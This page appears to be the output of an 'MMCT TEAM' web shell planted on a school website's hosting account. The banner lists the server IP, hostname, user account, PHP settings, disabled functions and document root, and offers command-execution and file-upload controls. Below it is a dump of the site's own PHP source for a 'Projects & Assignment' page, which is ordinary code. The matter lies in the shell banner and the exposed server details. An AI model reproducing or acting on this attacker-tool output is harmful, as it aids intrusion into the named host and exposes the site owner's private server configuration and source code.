MMCT TEAM
Server IP : 86.38.243.181  /  Your IP : 216.73.216.51
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u986601745 ( 986601745)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u986601745/domains/emrskalsi.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u986601745/domains/emrskalsi.com/public_html/projects-and-assignment.php
<!DOCTYPE html>
<html lang="en" style="overflow-x: hidden;">
<head>
  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>Eklavya Model Residential School - Projects & Assignment</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
<?php include('include/header.php'); ?>

<div class="breadcrumbs">
	<div class="container">

    <!--    <h1 class="pull-left">
    Sample Papers</h1> -->

    <ul class="pull-left breadcrumb">
    	<li><a href="javascript:void(0)">Exams and Results</a></li>
    	<li><a href="javascript:void(0)">Projects and Assignments</a></li>
    </ul>
    <!-- <div class="brs">
    	<button type="button" class="print-gigw" onclick="printDiv('pr')" value="print a div!" ><i class="fa fa-print" aria-hidden="true"></i>
    	</button>


    	<script>
    		function printDiv(pr) {
    			var printContents = document.getElementById(pr).innerHTML;
    			var originalContents = document.body.innerHTML;

    			document.body.innerHTML = printContents;

    			window.print();

    			document.body.innerHTML = originalContents;
    		}
    	</script>
    </div> -->
</div>
</div>

</div>

<style>.menshow{display:block !important}</style>

</div></div><div class="" id="pr">
	<div class="container-fluid row"><div class="col-xs-12 col-md-12 col-lg-12" >
		<div class="ap-section ">
			<div class="headline" id="headlines"><h2 >Projects and Assignments</h2>
			</div>

		</div>		
		<div>



			<div >
				<div class="table-responsive">
					<!-- <div class="col-md-4 upload_srch" style="margin-top:10px;">

						
						<div class="form-group input-group">
							
							
							<input type="text" class="form-control" id="filter1" placeholder="Search..">
							


							<span class="input-group-btn">
								<button class="btn btn-primary" type="button"style="height:34px;">
									<span class="glyphicon glyphicon-search"></span>
								</button>
							</span>        
						</div>
						
					</div> -->
					<table align="center " class="footable table table-bordered bg-head  table-striped" data-filter="#filter1" data-limit-navigation="5" data-page-size="10" cellpadding="5" cellspacing="5" border="1">
						<thead>


							

							<tr>
								<th>S.No.</th>
								<th>Class</th>
								<th>Category</th>
								<th>Subject</th>
								<th>Title</th>
								<th>Publish Date</th>
								<th>Download/Details</th>
							</tr>




						</thead>
						<tbody>
							<?php
							$q = "select project_and_assignment.*,class.class_name from project_and_assignment left join class on class.id=class_id";
							$query = mysqli_query($conn,$q);
							$i=1;
							while($res = mysqli_fetch_array($query)) { 
								$file_size=$res['file_size']/1000;
								?>
								<tr>

									<td><?php echo $i++; ?></td>
									<td><?php echo $res['class_name'] ?></td>
									<td><?php echo $res['category'] ?></td>
									<td><?php echo $res['subject'] ?></td>
									<td><?php echo $res['title'] ?></td>
									<td><?php echo $res['publish_date'] ?></td>
									<td><a style="color: #007bff;" href="admin/<?php echo $res['file'] ?>" download >Download (<?php echo round($file_size,2) ?> KB) <i class="fa fa-file-pdf-o red_pdf pad-left"></i></a>  </td>

								</tr>
							<?php } ?>
						</tbody>
						
					</table>
				</div>
			</div>
		</div>

		<script>


			function makeid() {
				var text = "";
				var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

				for (var i = 0; i < 5; i++)
					text += possible.charAt(Math.floor(Math.random() * possible.length));

				return text;
			}

			function filedownload(obj)
			{
				let id=obj.getAttribute('data-id')
				let schoolid=obj.getAttribute('data-schoolid')
//var ln="en";
$.ajax({
	type:'post',
	url:'/nvs/system/modules/NVS.School/elements/shimla_element/exam_download.jsp',
	data:{id:id,schoolid:schoolid},
	success:function(data){
			  //console.log(data);
			  var sampleArr = base64ToArrayBuffer(data);
			  saveByteArray(makeid(), sampleArr);
			  
			  

			  
			}

		});
}

function base64ToArrayBuffer(base64) {
	var binaryString = window.atob(base64);
	var binaryLen = binaryString.length;
	var bytes = new Uint8Array(binaryLen);
	for (var i = 0; i < binaryLen; i++) {
		var ascii = binaryString.charCodeAt(i);
		bytes[i] = ascii;
	}
	return bytes;
}

function getMobileOperatingSystem() {
	var userAgent = navigator.userAgent || navigator.vendor || window.opera;

      // Windows Phone must come first because its UA also contains "Android"
      if (/windows phone/i.test(userAgent)) {
      	return "Windows Phone";
      }

      if (/android/i.test(userAgent)) {
      	return "Android";
      }

    // iOS detection from: http://stackoverflow.com/a/9039885/177710
    if (/iPad|iPhone|iPod/.test(userAgent) && !window.MSStream) {
    	return "iOS";
    }

    return "unknown";
}



function saveByteArray(reportName, byte) {
    //
    var os=getMobileOperatingSystem();
    
    if(os=="iOS")
    {
    	var reader = new FileReader();
    	var out = new Blob([byte], {type: "application/pdf"});
    	reader.onload = function(e){
    		window.location.href = reader.result;
    	}
    	reader.readAsDataURL(out);
    }
    
    
    else {
    	var blob = new Blob([byte], {type: "application/pdf"});
    	var url = window.URL.createObjectURL(blob);
	//window.open(url);
	var a = document.createElement("a");
	
	document.body.appendChild(a);
	a.href = url;
	a.download = reportName;
	a.click();

	setTimeout(function() {window.URL.revokeObjectURL(url);},1000);
}




};
</script>
</div>
</div>
</div>
<?php include('include/footer.php'); ?>

MMCT - 2023